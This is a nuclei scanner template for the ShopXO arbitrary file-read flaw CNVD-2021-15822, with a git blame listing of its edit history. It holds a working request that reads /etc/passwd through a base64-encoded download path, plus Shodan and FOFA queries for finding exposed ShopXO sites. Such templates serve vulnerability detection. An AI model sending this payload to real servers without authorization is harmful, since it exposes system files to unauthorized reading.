nuclei-templates/http/cnvd/2021/CNVD-2021-15822.yaml

id: CNVD-2021-15822

info:
  name: ShopXO Download File Read
  author: pikpikcu
  severity: high
  description: |
    ShopXO is an open source enterprise-level open source e-commerce system. ShopXO has an arbitrary file reading vulnerability, which can be used by attackers to obtain sensitive information.
  reference:
    - https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
  classification:
    cpe: cpe:2.3:a:shopxo:shopxo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shopxo
    product: shopxo
    shodan-query: title:"ShopXO企业级B2C电商系统提供商"
    fofa-query: app="ShopXO企业级B2C电商系统提供商"
  tags: cnvd2021,cnvd,shopxo,lfi

http:
  - raw:
      - |
        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203fdbf320c0b5b6cd37f4d345389a837f2c2a05c841b7724dbb21cadecdeae5b0022077d19ef4f194a0cb73b93fc6aacc0c0257bc4decbb6bf9afb40e1dc4f307704b:922c64590222798bb761d5b6d8e72950
Create CNVD-2021-15822.yaml 2021-06-04 03:01:01 +00:00			`id: CNVD-2021-15822`

			`info:`
			`name: ShopXO Download File Read`
			`author: pikpikcu`
			`severity: high`
Update CNVD-2021-15822.yaml 2023-05-30 10:00:59 +00:00			`description: \|`
			`ShopXO is an open source enterprise-level open source e-commerce system. ShopXO has an arbitrary file reading vulnerability, which can be used by attackers to obtain sensitive information.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog`
Fix classification Fix classification 2024-09-10 09:08:16 +00:00			`classification:`
			`cpe: cpe:2.3:a:shopxo:shopxo::::::::`
Update metadata query (#4350) * Update adobe-component-login.yaml * Update cold-fusion-cfcache-map.yaml * Update unpatched-coldfusion.yaml * Update coldfusion-debug-xss.yaml * Update CVE-2020-11978.yaml * Update CVE-2020-13927.yaml * Update CVE-2021-38540.yaml * Update CVE-2021-44451.yaml * Update CVE-2022-24288.yaml * Update airflow-debug.yaml * Update airflow-detect.yaml * Update CVE-2010-0219.yaml * Update apache-axis-detect.yaml * Update CVE-2020-11991.yaml * Update apache-cocoon-detect.yaml * Update CVE-2021-21402.yaml * Update jellyfin-detect.yaml * Update CVE-2021-21402.yaml * Update CVE-2021-21402.yaml * Update ecology-arbitrary-file-upload.yaml * Update ecology-v8-sqli.yaml * Update ecology-syncuserinfo-sqli.yaml * Update ecology-filedownload-directory-traversal.yaml * Update CNVD-2021-15822.yaml * Update dedecms-carbuyaction-fileinclude.yaml * Update dedecms-openredirect.yaml * Update tamronos-rce.yaml * Update natshell-path-traversal.yaml 2022-05-12 14:18:36 +00:00			`metadata:`
			`verified: true`
templateman update 2023-10-14 11:27:55 +00:00			`max-request: 1`
Fix classification Fix classification 2024-09-10 09:08:16 +00:00			`vendor: shopxo`
			`product: shopxo`
Update metadata query (#4350) * Update adobe-component-login.yaml * Update cold-fusion-cfcache-map.yaml * Update unpatched-coldfusion.yaml * Update coldfusion-debug-xss.yaml * Update CVE-2020-11978.yaml * Update CVE-2020-13927.yaml * Update CVE-2021-38540.yaml * Update CVE-2021-44451.yaml * Update CVE-2022-24288.yaml * Update airflow-debug.yaml * Update airflow-detect.yaml * Update CVE-2010-0219.yaml * Update apache-axis-detect.yaml * Update CVE-2020-11991.yaml * Update apache-cocoon-detect.yaml * Update CVE-2021-21402.yaml * Update jellyfin-detect.yaml * Update CVE-2021-21402.yaml * Update CVE-2021-21402.yaml * Update ecology-arbitrary-file-upload.yaml * Update ecology-v8-sqli.yaml * Update ecology-syncuserinfo-sqli.yaml * Update ecology-filedownload-directory-traversal.yaml * Update CNVD-2021-15822.yaml * Update dedecms-carbuyaction-fileinclude.yaml * Update dedecms-openredirect.yaml * Update tamronos-rce.yaml * Update natshell-path-traversal.yaml 2022-05-12 14:18:36 +00:00			`shodan-query: title:"ShopXO企业级B2C电商系统提供商"`
			`fofa-query: app="ShopXO企业级B2C电商系统提供商"`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cnvd2021,cnvd,shopxo,lfi`
Create CNVD-2021-15822.yaml 2021-06-04 03:01:01 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CNVD-2021-15822.yaml 2021-06-04 03:01:01 +00:00			`- raw:`
			`- \|`
			`GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: application/x-www-form-urlencoded`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Create CNVD-2021-15822.yaml 2021-06-04 03:01:01 +00:00
			`- type: status`
			`status:`
			`- 200`
chore: sign templates 🤖 2024-09-12 05:14:01 +00:00			`# digest: 490a0046304402203fdbf320c0b5b6cd37f4d345389a837f2c2a05c841b7724dbb21cadecdeae5b0022077d19ef4f194a0cb73b93fc6aacc0c0257bc4decbb6bf9afb40e1dc4f307704b:922c64590222798bb761d5b6d8e72950`